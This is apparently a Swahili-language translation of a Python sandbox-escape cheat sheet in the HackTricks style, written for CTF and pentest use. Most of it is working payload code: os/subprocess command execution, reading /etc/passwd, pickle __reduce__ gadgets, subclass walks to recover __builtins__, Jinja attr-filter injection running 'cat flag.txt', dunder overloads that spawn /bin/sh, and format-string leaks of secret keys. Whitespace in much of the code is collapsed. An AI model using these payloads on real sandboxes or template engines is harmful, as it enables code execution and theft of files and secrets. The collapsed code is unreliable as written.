Hizi ni baadhi ya mbinu za kudukua kulinda sanduku za python na kutekeleza amri za kiholela.
Maktaba za Kutekeleza Amri
Jambo la kwanza unalohitaji kujua ni ikiwa unaweza kutekeleza moja kwa moja nambari na maktaba iliyosha kwa tayari, au ikiwa unaweza kuagiza mojawapo ya maktaba hizi:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
Kumbuka kwamba open na read functions zinaweza kuwa na manufaa kusoma faili ndani ya sanduku la python na kuandika namna ya kutekeleza ili kuzunguka sanduku.
Python2 input() function inaruhusu kutekeleza namna ya python kabla ya programu kushindwa.
Python jaribu kupakia maktaba kutoka kwenye saraka ya sasa kwanza (amri ifuatayo itachapisha mahali ambapo python inapakia moduli): python3 -c 'import sys; print(sys.path)'
Zunguka sanduku la pickle na pakiti za python zilizowekwa kwa chaguo-msingi
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Unaweza kupakua pakiti ya kuunda reverse shell hapa. Tafadhali, kumbuka kwamba kabla ya kutumia ni lazima uidondue, badilisha setup.py, na weka anwani yako ya IP kwa ajili ya reverse shell:
Pakiti hii inaitwa Reverse. Hata hivyo, ilibuniwa kwa makusudi ili wakati unapoondoka kwenye reverse shell, usaliaji wa usakinishaji utashindwa, hivyo hutaiacha pakiti ya ziada ya python iliyosakinishwa kwenye seva unapoondoka.
Eval-ing python code
Tafadhali kumbuka kwamba exec inaruhusu mistari mingi na ";", lakini eval haifanyi hivyo (angalia walrus operator)
Ikiwa herufi fulani zimepigwa marufuku unaweza kutumia uwakilishi wa hex/octal/B64 kwa ajili ya kupitisha kizuizi:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
Maktaba nyingine ambazo huruhusu kutathmini nambari ya python
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
Waendeshaji na mbinu fupi
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Kupitisha ulinzi kupitia uandishi wa herufi (UTF-7)
Katika makala hii UFT-7 inatumika kusoma na kutekeleza nambari za python za kiholela ndani ya sanduku inayoonekana:
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
RCE kuunda vitu na kuzidisha
Ikiwa unaweza kutangaza darasa na kuunda kipengee cha darasa hilo unaweza kuandika/kuzidisha njia tofauti ambazo zinaweza kutekelezwabilakulazimika kuziita moja kwa moja.
RCE na darasa za desturi
Unaweza kurekebisha baadhi ya njia za darasa (kwa kuzidisha njia za darasa zilizopo au kuunda darasa jipya) ili kufanya zitekeleze michocheo ya nambari wakati zinapokuwa zimechochewa bila kuziita moja kwa moja.
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
Jambo muhimu ambalo metaclasses zinaturuhusu kufanya ni kuunda kipengele cha darasa, bila kuita konstrukta moja kwa moja, kwa kuunda darasa jipya na darasa lengwa kama metaclass.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
Kuunda vitu na mizunguko
Wakati kosa linapozinduliwa kipengee cha Kosa kinakuwa kimeundwa bila wewe kulazimika kuita konstrukta moja kwa moja (mbinu kutoka kwa @_nag0mez):
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
Zaidi ya RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
Soma faili kwa msaada wa builtins & leseni
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
Ikiwa unaweza kupata kitu cha __builtins__ unaweza kuingiza maktaba (tambua kwamba unaweza pia kutumia hapa uwasilishaji mwingine wa herufi ulioonyeshwa katika sehemu ya mwisho):
Wakati huna __builtins__ hutaweza kuimport kitu chochote wala kusoma au kuandika faili kwani funksheni zote za kimataifa (kama vile open, import, print...) hazijapakiwa.
Hata hivyo, kwa chaguo-msingi python huimport moduli nyingi kwenye kumbukumbu. Moduli hizi zinaweza kuonekana kuwa zenye neema, lakini baadhi yao pia huimportfunksheni hatari ndani yao ambazo zinaweza kupatikana ili kupata hata utekelezaji wa nambari isiyo na mpangilio.
Katika mifano ifuatayo unaweza kuona jinsi ya kutumia vibaya baadhi ya moduli hizi "zenye neema" zilizopakiwa ili kupatafunksheni hatari ndani yao.
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
Chini kuna kazi kubwa ya kutafuta tens/hundreds ya mahali ambapo unaweza kupata builtins.
Python2 na Python3
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
Mzigo wa kujengwa
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
Globals na locals
Kuchunguza globals na locals ni njia nzuri ya kujua unaweza kupata nini.
Hapa nataka kueleza jinsi ya kugundua kwa urahisi kazi hatari zaidi zilizopakiwa na kupendekeza mbinu za kudanganya zaidi.
Kupata upatikanaji wa darasa za msingi kwa kuzidisha
Moja ya sehemu nyeti zaidi ya mbinu hii ni kuweza kupata upatikanaji wa darasa za msingi. Katika mifano iliyopita hii ilifanywa kwa kutumia ''.__class__.__base__.__subclasses__() lakini kuna njia zingine zinazowezekana:
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
Kupata maktaba hatari zilizopakiwa
Kwa mfano, kwa kujua kwamba na maktaba sys ni inawezekana kuagiza maktaba za aina yoyote, unaweza kutafuta moduli zote zilizopakiwa ambazo zimeagiza sys ndani yao:
Kuna mengi, na tunahitaji moja tu kutekeleza amri:
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
Tunaweza kufanya kitu sawa na maktaba zingine ambazo tunajua zinaweza kutumika kutekeleza amri:
#os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
Zaidi ya hayo, tunaweza hata kutafuta ni moduli zipi zinapakia maktaba zenye nia mbaya:
Zaidi ya hayo, ikiwa unafikiri maktaba zingine zinaweza kuwa na uwezo wa kuita kazi za kutekeleza amri, tunaweza pia kuchuja kwa majina ya kazi ndani ya maktaba zinazowezekana:
Hii ni nzuri sana. Ikiwa unatafuta kitu kama globals, builtins, open au chochote kingine, tumia script hii kutafuta kwa kina maeneo ambapo unaweza kupata kitu hicho.
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element):SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)):check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...")total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...")total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...")total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
Unaweza kuangalia matokeo ya skripti hii kwenye ukurasa huu:
Ikiwa unatuma string kwa python ambayo itakuwa imepangwa, unaweza kutumia {} kupata habari za ndani za python. Unaweza kutumia mifano iliyopita kupata vitu vya kawaida au vya kujengwa kwa mfano.
Walakini, kuna kizuizi, unaweza kutumia ishara .[] tu, kwa hivyo hutaweza kutekeleza nambari ya kupita, tu kusoma habari.
Ikiwa unajua jinsi ya kutekeleza nambari kupitia udhaifu huu, tafadhali nisiliana nami.
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/CONFIG ={"KEY":"ASXFYFGK78989"}classPeopleInfo:def__init__(self,fname,lname):self.fname = fnameself.lname = lnamedefget_name_for_avatar(avatar_str,people_obj):return avatar_str.format(people_obj = people_obj)people =PeopleInfo('GEEKS', 'FORGEEKS')st ="{people_obj.__init__.__globals__[CONFIG][KEY]}"get_name_for_avatar(st, people_obj = people)
Tafadhali angalia jinsi unavyoweza kupata sifa kwa njia ya kawaida kwa kutumia dot kama people_obj.__init__ na kipengele cha dict kwa kutumia mabano bila alama za nukta __globals__[CONFIG]
Pia angalia unaweza kutumia .__dict__ kuorodhesha vipengele vya kitu get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)
Baadhi ya sifa nyingine za kuvutia kutoka kwa herufi za muundo ni uwezekano wa kutekelezakazistr, repr na ascii kwenye kitu kilichotajwa kwa kuongeza !s, !r, !a mtawalia:
st ="{people_obj.__init__.__globals__[CONFIG][KEY]!a}"get_name_for_avatar(st, people_obj = people)
Zaidi ya hayo, ni inawezekana kuandika wapangaji wa fomati mpya katika darasa:
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
dir()#General dir() to find what we have loaded['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag)#Get info tof the function['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__ na func_globals(Sawa) Inapata mazingira ya ulimwengu. Katika mfano unaweza kuona baadhi ya moduli zilizoagizwa, baadhi ya variables za ulimwengu na maudhui yao yaliyotangazwa:
get_flag.func_globalsget_flag.__globals__{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable valueCustomClassObject.__class__.__init__.__globals__
__code__ na func_code: Unaweza kupata ufikiaji wa sifa hii ya kazi ili kupata kifaa cha msimbo wa kazi.
# In our current exampleget_flag.__code__<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1# Compiling some python codecompile("print(5)", "", "single")<code object<module> at 0x7f9ca01330c0, file "", line 1>#Get the attributes of the code objectdir(get_flag.__code__)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
Kupata Taarifa za Kanuni
# Another examples ='''a = 5b = 'text'def f(x):return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
Tambua kwamba ikiwa huwezi kuingiza dis katika sanduku la python unaweza kupata bytecode ya kazi (get_flag.func_code.co_code) na kuidisassemble kwa kifaa chako. Hautaona maudhui ya mizani zinazopakiwa (LOAD_CONST) lakini unaweza kuzitambua kutoka kwa (get_flag.func_code.co_consts) kwa sababu LOAD_CONST pia inaonyesha mbali ya mizani inayopakiwa.
Sasa, wacha tuwazie kwamba kwa namna fulani unaweza kutiririsha habari kuhusu kazi ambayo huwezi kutekeleza lakini unahitaji kuitekeleza.
Kama katika mfano ufuatao, unaweza kupata kifaa cha nambari cha kazi hiyo, lakini kwa kusoma disassemble tu hujui jinsi ya kuhesabu bendera (fikiria kazi ya calc_flag yenye utata zaidi)
defget_flag(some_input):var1=1var2="secretcode"var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
Kuunda kifaa cha nambari
Kwanza kabisa, tunahitaji kujua jinsi ya kuunda na kutekeleza kifaa cha nambari ili tuweze kuunda moja kutekeleza kazi yetu iliyovuja:
code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount,co_nlocals, co_stacksize, co_flags,co_code, co_consts, co_names,co_varnames, co_filename, co_name,co_firstlineno, co_lnotab, freevars=None,cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
Kulingana na toleo la python parameta za code_type zinaweza kuwa na mpangilio tofauti. Njia bora ya kujua mpangilio wa parameta katika toleo la python unalotumia ni kwa kukimbia:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
Kurekebisha kazi iliyovuja
Katika mfano ufuatao, tutachukua data yote inayohitajika kurekebisha kazi kutoka kwa kificho cha kazi moja kwa moja. Katika mfano halisi, thamani zote za kutekeleza kazi ya code_type ndizo utakazohitaji kufichua.
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag
Kupita Mipangilio
Katika mifano iliyopita mwanzoni mwa chapisho hili, unaweza kuona jinsi ya kutekeleza nambari yoyote ya python kwa kutumia kazi ya compile. Hii ni ya kuvutia kwa sababu unaweza kutekeleza skripti nzima na mizunguko yote katika mstari mmoja (na tunaweza kufanya hivyo kutumia exec).
Kwa njia yoyote, mara nyingine inaweza kuwa na manufaa kuundakitu kilichopangiliwa kwenye mashine ya ndani na kutekeleza kwenye mashine ya CTF (kwa mfano kwa sababu hatuna kazi ya compiled kwenye CTF).
Kwa mfano, hebu tupange na kutekeleza kwa mikono kazi inayosoma ./poc.py:
#On Remotefunction_type =type(lambda: None)code_type =type((lambda: None).__code__)#Get <type 'type'>consts = (None,"./poc.py",'r')bytecode ='t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'names = ('open','read')# And execute it using eval/execeval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))#You could also execute it directlymydict ={}mydict['__builtins__']=__builtins__codeobj =code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())function_type(codeobj, mydict, None, None, None)()
Ikiwa huwezi kupata eval au exec unaweza kuunda kazi sahihi, lakini kuiita moja kwa moja kawaida itashindwa na: constructor not accessible in restricted mode. Kwa hivyo unahitaji kazi isiyopo kwenye mazingira yaliyozuiwa kuita kazi hii.
Python inayotekelezwa na maboresho kwa parameta -O itaondoa taarifa za mali na nambari yoyote ya sharti kulingana na thamani ya debug.
Kwa hivyo, ukaguzi kama huo
defcheck_permission(super_user):try:assert(super_user)print("\nYou are a super user\n")exceptAssertionError:print(f"\nNot a Super User!!!\n")